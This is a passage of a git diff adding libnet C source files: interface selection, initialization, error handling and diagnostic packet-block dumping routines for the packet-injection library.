+#include "../include/win32/libnet.h" +#include "packet32.h" + +BOOL WINAPI DllMain(HINSTANCE hinst, ULONG fdwReason, LPVOID lpReserved) +{ + switch (fdwReason) + { + case DLL_PROCESS_ATTACH: + break; + case DLL_PROCESS_DETACH: + break; + } + return (TRUE); +} + +/* EOF */ diff --git a/libnet/src/libnet_error.c b/libnet/src/libnet_error.c new file mode 100644 index 0000000..306c73d --- /dev/null +++ b/libnet/src/libnet_error.c @@ -0,0 +1,55 @@ +/* + * $Id: libnet_error.c,v 1.6 2004/01/03 20:31:02 mike Exp $ + * + * libnet + * libnet_error.c - error handling code + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + + +char * +libnet_geterror(libnet_t *l) +{ + if (l == NULL) + { + return (NULL); + } + + return (l->err_buf); +} + + +/* EOF */ diff --git a/libnet/src/libnet_if_addr.c b/libnet/src/libnet_if_addr.c new file mode 100644 index 0000000..76b1a4e --- /dev/null +++ b/libnet/src/libnet_if_addr.c @@ -0,0 +1,420 @@ +/* + * $Id: libnet_if_addr.c,v 1.23 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_if_addr.c - interface selection code + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif +#ifdef HAVE_SYS_SOCKIO_H +#include <sys/sockio.h> +#endif +#include "../include/ifaddrlist.h" + +#define MAX_IPADDR 512 + +#if !(__WIN32__) + +/* + * By testing if we can retrieve the FLAGS of an iface + * we can know if it exists or not and if it is up. + */ +int +libnet_check_iface(libnet_t *l) +{ + struct ifreq ifr; + int fd, res; + + fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd < 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s() socket: %s\n", __func__, + strerror(errno)); + return (-1); + } + + strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) -1); + ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; + + res = ioctl(fd, SIOCGIFFLAGS, (int8_t *)&ifr); + + if (res < 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s() ioctl: %s\n", __func__, + strerror(errno)); + } + else + { + if ((ifr.ifr_flags & IFF_UP) == 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %s is down\n", + __func__, l->device); + res = -1; + } + } + close(fd); + return (res); +} + + +/* + * Return the interface list + */ + +#ifdef HAVE_SOCKADDR_SA_LEN +#define NEXTIFR(i) \ +((struct ifreq *)((u_char *)&i->ifr_addr + i->ifr_addr.sa_len)) +#else +#define NEXTIFR(i) (i + 1) +#endif + +#ifndef BUFSIZE +#define BUFSIZE 2048 +#endif + +#ifdef HAVE_LINUX_PROCFS +#define PROC_DEV_FILE "/proc/net/dev" +#endif + +int +libnet_ifaddrlist(register struct libnet_ifaddr_list **ipaddrp, int8_t *dev, +register int8_t *errbuf) +{ + register struct libnet_ifaddr_list *al; + struct ifreq *ifr, *lifr, *pifr, nifr; + int8_t device[sizeof(nifr.ifr_name)]; + static struct libnet_ifaddr_list ifaddrlist[MAX_IPADDR]; + + char *p; + struct ifconf ifc; + struct ifreq ibuf[MAX_IPADDR]; + register int fd, nipaddr; + +#ifdef HAVE_LINUX_PROCFS + FILE *fp; + char buf[2048]; +#endif + + fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd < 0) + { + snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): socket error: %s\n", + __func__, strerror(errno)); + return (-1); + } + +#ifdef HAVE_LINUX_PROCFS + if ((fp = fopen(PROC_DEV_FILE, "r")) == NULL) + { + snprintf(errbuf, LIBNET_ERRBUF_SIZE, + "%s(): fopen(proc_dev_file) failed: %s\n", __func__, + strerror(errno)); + return (-1); + } +#endif + + memset(&ifc, 0, sizeof(ifc)); + ifc.ifc_len = sizeof(ibuf); + ifc.ifc_buf = (caddr_t)ibuf; + + if(ioctl(fd, SIOCGIFCONF, &ifc) < 0) + { + snprintf(errbuf, LIBNET_ERRBUF_SIZE, + "%s(): ioctl(SIOCGIFCONF) error: %s\n", + __func__, strerror(errno)); + return(-1); + } + + pifr = NULL; + lifr = (struct ifreq *)&ifc.ifc_buf[ifc.ifc_len]; + + al = ifaddrlist; + nipaddr = 0; + +#ifdef HAVE_LINUX_PROCFS + while (fgets(buf, sizeof(buf), fp)) + { + if ((p = strchr(buf, ':')) == NULL) + { + continue; + } + *p = '\0'; + for(p = buf; *p == ' '; p++) ; + + strncpy(nifr.ifr_name, p, sizeof(nifr.ifr_name) - 1); + nifr.ifr_name[sizeof(nifr.ifr_name) - 1] = '\0'; + +#else /* !HAVE_LINUX_PROCFS */ + + for (ifr = ifc.ifc_req; ifr < lifr; ifr = NEXTIFR(ifr)) + { + /* XXX LINUX SOLARIS ifalias */ + if((p = strchr(ifr->ifr_name, ':'))) + { + *p='\0'; + } + if (pifr && strcmp(ifr->ifr_name, pifr->ifr_name) == 0) + { + continue; + } + strncpy(nifr.ifr_name, ifr->ifr_name, sizeof(nifr.ifr_name) - 1); + nifr.ifr_name[sizeof(nifr.ifr_name) - 1] = '\0'; +#endif + + /* save device name */ + strncpy(device, nifr.ifr_name, sizeof(device) - 1); + device[sizeof(device) - 1] = '\0'; + + if (ioctl(fd, SIOCGIFFLAGS, &nifr) < 0) + { + pifr = ifr; + continue; + } + if ((nifr.ifr_flags & IFF_UP) == 0) + { + pifr = ifr; + continue; + } + + if (dev == NULL && LIBNET_ISLOOPBACK(&nifr)) + { + pifr = ifr; + continue; + } + + strncpy(nifr.ifr_name, device, sizeof(device) - 1); + nifr.ifr_name[sizeof(nifr.ifr_name) - 1] = '\0'; + if (ioctl(fd, SIOCGIFADDR, (int8_t *)&nifr) < 0) + { + if (errno != EADDRNOTAVAIL) + { + snprintf(errbuf, LIBNET_ERRBUF_SIZE, + "%s(): SIOCGIFADDR: dev=%s: %s\n", __func__, device, + strerror(errno)); + close(fd); + return (-1); + } + else /* device has no IP address => set to 0 */ + { + al->addr = 0; + } + } + else + { + al->addr = ((struct sockaddr_in *)&nifr.ifr_addr)->sin_addr.s_addr; + } + + if (al->device) + { + /* fix memory leak */ + free(al->device); + } + if ((al->device = strdup(device)) == NULL) + { + snprintf(errbuf, LIBNET_ERRBUF_SIZE, + "%s(): strdup not enough memory\n", __func__); + return(-1); + } + + ++al; + ++nipaddr; + +#ifndef HAVE_LINUX_PROCFS + pifr = ifr; +#endif + + } /* while|for */ + +#ifdef HAVE_LINUX_PROCFS + if (ferror(fp)) + { + snprintf(errbuf, LIBNET_ERRBUF_SIZE, + "%s(): ferror: %s\n", __func__, strerror(errno)); + return (-1); + } + fclose(fp); +#endif + + *ipaddrp = ifaddrlist; + return (nipaddr); +} +#else +/* From tcptraceroute, convert a numeric IP address to a string */ +#define IPTOSBUFFERS 12 +static int8_t *iptos(u_int32_t in) +{ + static int8_t output[IPTOSBUFFERS][ 3 * 4 + 3 + 1]; + static int16_t which; + u_int8_t *p; + + p = (u_int8_t *)∈ + which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1); + snprintf(output[which], IPTOSBUFFERS, "%d.%d.%d.%d", + p[0], p[1], p[2], p[3]); + return output[which]; +} + +int +libnet_ifaddrlist(register struct libnet_ifaddr_list **ipaddrp, int8_t *dev, +register int8_t *errbuf) +{ + int nipaddr = 0; int i = 0; + + static struct libnet_ifaddr_list ifaddrlist[MAX_IPADDR]; + pcap_if_t *alldevs; + pcap_if_t *d; + int8_t err[PCAP_ERRBUF_SIZE]; + + /* Retrieve the interfaces list */ + if (pcap_findalldevs(&alldevs, err) == -1) + { + snprintf(errbuf, LIBNET_ERRBUF_SIZE, + "%s(): error in pcap_findalldevs: %s\n", __func__, err); + return (-1); + } + + /* Scan the list printing every entry */ + for (d = alldevs; d; d = d->next) + { + if((!d->addresses) || (d->addresses->addr->sa_family != AF_INET)) + continue; + if(d->flags & PCAP_IF_LOOPBACK) + continue; + + /* XXX - strdup */ + ifaddrlist[i].device = strdup(d->name); + ifaddrlist[i].addr = (u_int32_t) + strdup(iptos(((struct sockaddr_in *) + d->addresses->addr)->sin_addr.s_addr)); + ++i; + ++nipaddr; + } + + *ipaddrp = ifaddrlist; + return (nipaddr); +} +#endif /* __WIN32__ */ + +int +libnet_select_device(libnet_t *l) +{ + int c, i; + int8_t err_buf[LIBNET_ERRBUF_SIZE]; + struct libnet_ifaddr_list *address_list, *al; + u_int32_t addr; + + + if (l == NULL) + { + return (-1); + } + + if (l->device && !isdigit(l->device[0])) + { +#if !(__WIN32__) + if (libnet_check_iface(l) < 0) + { + /* err msg set in libnet_check_iface() */ + return (-1); + } +#endif + return (1); + } + + /* + * Number of interfaces. + */ + c = libnet_ifaddrlist(&address_list, l->device, err_buf); + if (c < 0) + { + /* err msg set in libnet_ifaddrlist() */ + return (-1); + } + else if (c == 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): no network interface found\n", __func__); + return (-1); + } + + al = address_list; + if (l->device) + { + /* + * Then we have an IP address in l->device => do lookup + */ + addr = libnet_name2addr4(l, l->device, 0); + + for (i = c; i; --i, ++address_list) + { + if (((addr == -1) && !(strncmp(l->device, address_list->device, + strlen(l->device)))) || + (address_list->addr == addr)) + { + /* free the "user supplied device" - see libnet_init() */ + free(l->device); + l->device = strdup(address_list->device); + goto good; + } + } + if (i <= 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't find interface for IP %s\n", __func__, + l->device); + goto bad; + } + } + else + { + l->device = strdup(address_list->device); + } + +good: + for (i = 0; i < c; i++) + { + free(al[i].device); + } + return (1); + +bad: + for (i = 0; i < c; i++) + { + free(al[i].device); + } + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_init.c b/libnet/src/libnet_init.c new file mode 100644 index 0000000..f83456c --- /dev/null +++ b/libnet/src/libnet_init.c @@ -0,0 +1,273 @@ +/* + * $Id: libnet_init.c,v 1.17 2004/03/16 18:40:59 mike Exp $ + * + * libnet + * libnet_init.c - Initilization routines. + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_t * +libnet_init(int injection_type, char *device, char *err_buf) +{ + libnet_t *l = NULL; + +#if !defined(__WIN32__) + if (getuid() && geteuid()) + { + snprintf(err_buf, LIBNET_ERRBUF_SIZE, + "%s(): UID or EUID of 0 required\n", __func__); + goto bad; + } +#else + WSADATA wsaData; + + if ((WSAStartup(0x0202, &wsaData)) != 0) + { + snprintf(err_buf, LIBNET_ERRBUF_SIZE, + "%s(): unable to initialize winsock 2\n", __func__); + goto bad; + } +#endif + + l = (libnet_t *)malloc(sizeof (libnet_t)); + if (l == NULL) + { + snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s\n", __func__, + strerror(errno)); + goto bad; + } + + memset(l, 0, sizeof (*l)); + + l->injection_type = injection_type; + l->ptag_state = LIBNET_PTAG_INITIALIZER; + l->device = (device ? strdup(device) : NULL); + + strncpy(l->label, LIBNET_LABEL_DEFAULT, LIBNET_LABEL_SIZE); + l->label[sizeof(l->label)] = '\0'; + + switch (l->injection_type) + { + case LIBNET_LINK: + case LIBNET_LINK_ADV: + if (libnet_select_device(l) == -1) + { + snprintf(err_buf, LIBNET_ERRBUF_SIZE, l->err_buf); + goto bad; + } + if (libnet_open_link(l) == -1) + { + snprintf(err_buf, LIBNET_ERRBUF_SIZE, l->err_buf); + goto bad; + } + break; + case LIBNET_RAW4: + case LIBNET_RAW4_ADV: + if (libnet_open_raw4(l) == -1) + { + snprintf(err_buf, LIBNET_ERRBUF_SIZE, l->err_buf); + goto bad; + } + break; + case LIBNET_RAW6: + case LIBNET_RAW6_ADV: + if (libnet_open_raw6(l) == -1) + { + snprintf(err_buf, LIBNET_ERRBUF_SIZE, l->err_buf); + goto bad; + } + break; + default: + snprintf(err_buf, LIBNET_ERRBUF_SIZE, + "%s(): unsupported injection type\n", __func__); + goto bad; + break; + } + + return (l); + +bad: + if (l) + { + libnet_destroy(l); + } + return (NULL); +} + +void +libnet_destroy(libnet_t *l) +{ + if (l) + { + close(l->fd); + if (l->device) + { + free(l->device); + } + libnet_clear_packet(l); + free(l); + } +} + +void +libnet_clear_packet(libnet_t *l) +{ + libnet_pblock_t *p; + libnet_pblock_t *next; + + if (l) + { + p = l->protocol_blocks; + if (p) + { + for (; p; p = next) + { + next = p->next; + if (p->buf) + { + free(p->buf); + } + free(p); + } + } + l->protocol_blocks = NULL; + l->total_size = 0; + } +} + +void +libnet_stats(libnet_t *l, struct libnet_stats *ls) +{ + if (l == NULL) + { + return; + } + + ls->packets_sent = l->stats.packets_sent; + ls->packet_errors = l->stats.packet_errors; + ls->bytes_written = l->stats.bytes_written; +} + +int +libnet_getfd(libnet_t *l) +{ + if (l == NULL) + { + return (-1); + } + + return (l->fd); +} + +int8_t * +libnet_getdevice(libnet_t *l) +{ + if (l == NULL) + { + return (NULL); + } + + return (l->device); +} + +u_int8_t * +libnet_getpbuf(libnet_t *l, libnet_ptag_t ptag) +{ + libnet_pblock_t *p; + + if (l == NULL) + { + return (NULL); + } + + p = libnet_pblock_find(l, ptag); + if (p == NULL) + { + /* err msg set in libnet_pblock_find() */ + return (NULL); + } + else + { + return (p->buf); + } +} + +u_int32_t +libnet_getpbuf_size(libnet_t *l, libnet_ptag_t ptag) +{ + libnet_pblock_t *p; + + if (l == NULL) + { + return (0); + } + + p = libnet_pblock_find(l, ptag); + if (p == NULL) + { + /* err msg set in libnet_pblock_find() */ + return (0); + } + else + { + return (p->b_len); + } +} + +u_int32_t +libnet_getpacket_size(libnet_t *l) +{ + libnet_pblock_t *p; + u_int32_t n; + + if (l == NULL) + { + return (0); + } + + n = 0; + p = l->protocol_blocks; + if (p) + { + for (; p; p = p->next) + { + n += p->b_len; + } + } + return (n); +} + +/* EOF */ diff --git a/libnet/src/libnet_internal.c b/libnet/src/libnet_internal.c new file mode 100644 index 0000000..1a42a8e --- /dev/null +++ b/libnet/src/libnet_internal.c @@ -0,0 +1,310 @@ +/* + * $Id: libnet_internal.c,v 1.14 2004/03/16 18:40:59 mike Exp $ + * + * libnet + * libnet_internal.c - secret routines! + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +void +libnet_diag_dump_hex(u_int8_t *packet, u_int32_t len, int swap, FILE *stream) +{ + int i, s_cnt; + u_int16_t *p; + + p = (u_int16_t *)packet; + s_cnt = len / sizeof(u_int16_t); + + fprintf(stream, "\t"); + for (i = 0; --s_cnt >= 0; i++) + { + if ((!(i % 8))) + { + fprintf(stream, "\n%02x\t", (i * 2)); + } + fprintf(stream, "%04x ", swap ? ntohs(*(p++)) : *(p++)); + } + + /* + * Mop up an odd byte. + */ + if (len & 1) + { + if ((!(i % 8))) + { + fprintf(stream, "\n%02x\t", (i * 2)); + } + fprintf(stream, "%02x ", *(u_int8_t *)p); + } + fprintf(stream, "\n"); +} + + +void +libnet_diag_dump_context(libnet_t *l) +{ + if (l == NULL) + { + return; + } + + fprintf(stderr, "fd:\t\t%d\n", l->fd); + + switch (l->injection_type) + { + case LIBNET_LINK: + fprintf(stderr, "injection type:\tLIBNET_LINK\n"); + break; + case LIBNET_RAW4: + fprintf(stderr, "injection type:\tLIBNET_RAW4\n"); + break; + case LIBNET_RAW6: + fprintf(stderr, "injection type:\tLIBNET_RAW6\n"); + break; + case LIBNET_LINK_ADV: + fprintf(stderr, "injection type:\tLIBNET_LINK_ADV\n"); + break; + case LIBNET_RAW4_ADV: + fprintf(stderr, "injection type:\tLIBNET_RAW4_ADV\n"); + break; + case LIBNET_RAW6_ADV: + fprintf(stderr, "injection type:\tLIBNET_RAW6_ADV\n"); + break; + default: + fprintf(stderr, "injection type:\tinvalid injection type %d\n", + l->injection_type); + break; + } + + fprintf(stderr, "pblock start:\t%p\n", l->protocol_blocks); + fprintf(stderr, "pblock end:\t%p\n", l->pblock_end); + fprintf(stderr, "link type:\t%d\n", l->link_type); + fprintf(stderr, "link offset:\t%d\n", l->link_offset); + fprintf(stderr, "aligner:\t%d\n", l->aligner); + fprintf(stderr, "device:\t\t%s\n", l->device); + fprintf(stderr, "packets sent:\t%lld\n", l->stats.packets_sent); + fprintf(stderr, "packet errors:\t%lld\n", l->stats.packet_errors); + fprintf(stderr, "bytes written:\t%lld\n", l->stats.bytes_written); + fprintf(stderr, "ptag state:\t%d\n", l->ptag_state); + fprintf(stderr, "context label:\t%s\n", l->label); + fprintf(stderr, "last errbuf:\t%s\n", l->err_buf); + fprintf(stderr, "total size:\t%d\n", l->total_size); +} + +void +libnet_diag_dump_pblock(libnet_t *l) +{ + u_int32_t n; + libnet_pblock_t *p; + + for (p = l->protocol_blocks; p; p = p->next) + { + fprintf(stderr, "pblock type:\t%s\n", + libnet_diag_dump_pblock_type(p->type)); + fprintf(stderr, "ptag number:\t%d\n", p->ptag); + fprintf(stderr, "IP offset:\t%d\n", p->ip_offset); + fprintf(stderr, "pblock address:\t%p\n", p); + fprintf(stderr, "next pblock\t%p ", p->next); + if (p->next) + { + fprintf(stderr, "(%s)", + libnet_diag_dump_pblock_type(p->next->type)); + } + fprintf(stderr, "\n"); + fprintf(stderr, "prev pblock\t%p ", p->prev); + if (p->prev) + { + fprintf(stderr, "(%s)", + libnet_diag_dump_pblock_type(p->prev->type)); + } + fprintf(stderr, "\n"); + fprintf(stderr, "buf:\t\t"); + for (n = 0; n < p->b_len; n++) + { + fprintf(stderr, "%02x", p->buf[n]); + } + fprintf(stderr, "\nbuffer length:\t%d\n", p->b_len); + if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM) + { + fprintf(stderr, "checksum flag:\tYes\n"); + fprintf(stderr, "chksum length:\t%d\n", p->h_len); + } + else + { + fprintf(stderr, "checksum flag:\tNo\n"); + } + fprintf(stderr, "bytes copied:\t%d\n\n", p->copied); + } +} + +char * +libnet_diag_dump_pblock_type(u_int8_t type) +{ + static int8_t buf[50]; + switch (type) + { + case LIBNET_PBLOCK_ARP_H: + return ("arp header"); + case LIBNET_PBLOCK_DHCPV4_H: + return ("dhcpv4 header"); + case LIBNET_PBLOCK_DNSV4_H: + return ("dnsv4 header"); + case LIBNET_PBLOCK_ETH_H: + return ("ethernet header"); + case LIBNET_PBLOCK_ICMPV4_H: + return ("icmpv4 header"); + case LIBNET_PBLOCK_ICMPV4_ECHO_H: + return ("icmpv4 echo header"); + case LIBNET_PBLOCK_ICMPV4_MASK_H: + return ("icmpv4 mask header"); + case LIBNET_PBLOCK_ICMPV4_UNREACH_H: + return ("icmpv4 unreachable header"); + case LIBNET_PBLOCK_ICMPV4_TIMXCEED_H: + return ("icmpv4 time exceeded header"); + case LIBNET_PBLOCK_ICMPV4_REDIRECT_H: + return ("icmpv4 redirect header"); + case LIBNET_PBLOCK_ICMPV4_TS_H: + return ("icmpv4 timestamp header"); + case LIBNET_PBLOCK_IGMP_H: + return ("igmp header"); + case LIBNET_PBLOCK_IPV4_H: + return ("ipv4 header"); + case LIBNET_PBLOCK_IPO_H: + return ("ip options header"); + case LIBNET_PBLOCK_IPDATA: + return ("ip data"); + case LIBNET_PBLOCK_OSPF_H: + return ("ospf header"); + case LIBNET_PBLOCK_OSPF_HELLO_H: + return ("ospf hello header"); + case LIBNET_PBLOCK_OSPF_DBD_H: + return ("ospf dbd header"); + case LIBNET_PBLOCK_OSPF_LSR_H: + return ("ospf lsr header"); + case LIBNET_PBLOCK_OSPF_LSU_H: + return ("ospf lsu header"); + case LIBNET_PBLOCK_OSPF_LSA_H: + return ("ospf lsa header"); + case LIBNET_PBLOCK_OSPF_AUTH_H: + return ("ospf authentication header"); + case LIBNET_PBLOCK_OSPF_CKSUM: + return ("ospf checksum"); + case LIBNET_PBLOCK_LS_RTR_H: + return ("ospf ls rtr header"); + case LIBNET_PBLOCK_LS_NET_H: + return ("ospf ls net header"); + case LIBNET_PBLOCK_LS_SUM_H: + return ("ospf ls sum header"); + case LIBNET_PBLOCK_LS_AS_EXT_H: + return ("ospf ls as extension header"); + case LIBNET_PBLOCK_NTP_H: + return ("ntp header"); + case LIBNET_PBLOCK_RIP_H: + return ("rip header"); + case LIBNET_PBLOCK_TCP_H: + return ("tcp header"); + case LIBNET_PBLOCK_TCPO_H: + return ("tcp options header"); + case LIBNET_PBLOCK_TCPDATA: + return ("tcp data"); + case LIBNET_PBLOCK_UDP_H: + return ("udp header"); + case LIBNET_PBLOCK_VRRP_H: + return ("vrrp header"); + case LIBNET_PBLOCK_DATA_H: + return ("data"); + case LIBNET_PBLOCK_CDP_H: + return ("cdp header"); + case LIBNET_PBLOCK_IPSEC_ESP_HDR_H: + return ("ipsec esp header"); + case LIBNET_PBLOCK_IPSEC_ESP_FTR_H: + return ("ipsec esp footer"); + case LIBNET_PBLOCK_IPSEC_AH_H: + return ("ipsec authentication header"); + case LIBNET_PBLOCK_802_1Q_H: + return ("802.1q header"); + case LIBNET_PBLOCK_802_2_H: + return ("802.2 header"); + case LIBNET_PBLOCK_802_2SNAP_H: + return ("802.2SNAP header"); + case LIBNET_PBLOCK_802_3_H: + return ("802.3 header"); + case LIBNET_PBLOCK_STP_CONF_H: + return ("stp configuration header"); + case LIBNET_PBLOCK_STP_TCN_H: + return ("stp tcn header"); + case LIBNET_PBLOCK_ISL_H: + return ("isl header"); + case LIBNET_PBLOCK_IPV6_H: + return ("ipv6 header"); + case LIBNET_PBLOCK_802_1X_H: + return ("802.1x header"); + case LIBNET_PBLOCK_RPC_CALL_H: + return ("rpc call header"); + case LIBNET_PBLOCK_MPLS_H: + return ("mlps header"); + case LIBNET_PBLOCK_FDDI_H: + return ("fddi header"); + case LIBNET_PBLOCK_TOKEN_RING_H: + return ("token ring header"); + case LIBNET_PBLOCK_BGP4_HEADER_H: + return ("bgp header"); + case LIBNET_PBLOCK_BGP4_OPEN_H: + return ("bgp open header"); + case LIBNET_PBLOCK_BGP4_UPDATE_H: + return ("bgp update header"); + case LIBNET_PBLOCK_BGP4_NOTIFICATION_H: + return ("bgp notification header"); + case LIBNET_PBLOCK_GRE_H: + return ("gre header"); + case LIBNET_PBLOCK_GRE_SRE_H: + return ("gre sre header"); + case LIBNET_PBLOCK_IPV6_FRAG_H: + return ("ipv6 fragmentation header"); + case LIBNET_PBLOCK_IPV6_ROUTING_H: + return ("ipv6 routing header"); + case LIBNET_PBLOCK_IPV6_DESTOPTS_H: + return ("ipv6 destination options header"); + case LIBNET_PBLOCK_IPV6_HBHOPTS_H: + return ("ipv6 hop by hop options header"); + default: + snprintf(buf, sizeof(buf), + "%s(): unknown pblock type: %d", __func__, type); + return (buf); + } + return ("unreachable code"); +} +/* EOF */ diff --git a/libnet/src/libnet_link_bpf.c b/libnet/src/libnet_link_bpf.c new file mode 100644 index 0000000..569ae9c --- /dev/null +++ b/libnet/src/libnet_link_bpf.c @@ -0,0 +1,333 @@ +/* + * $Id: libnet_link_bpf.c,v 1.6 2004/01/28 19:45:00 mike Exp $ + * + * libnet + * libnet_link_bpf.c - low-level bpf routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1993, 1994, 1995, 1996, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following 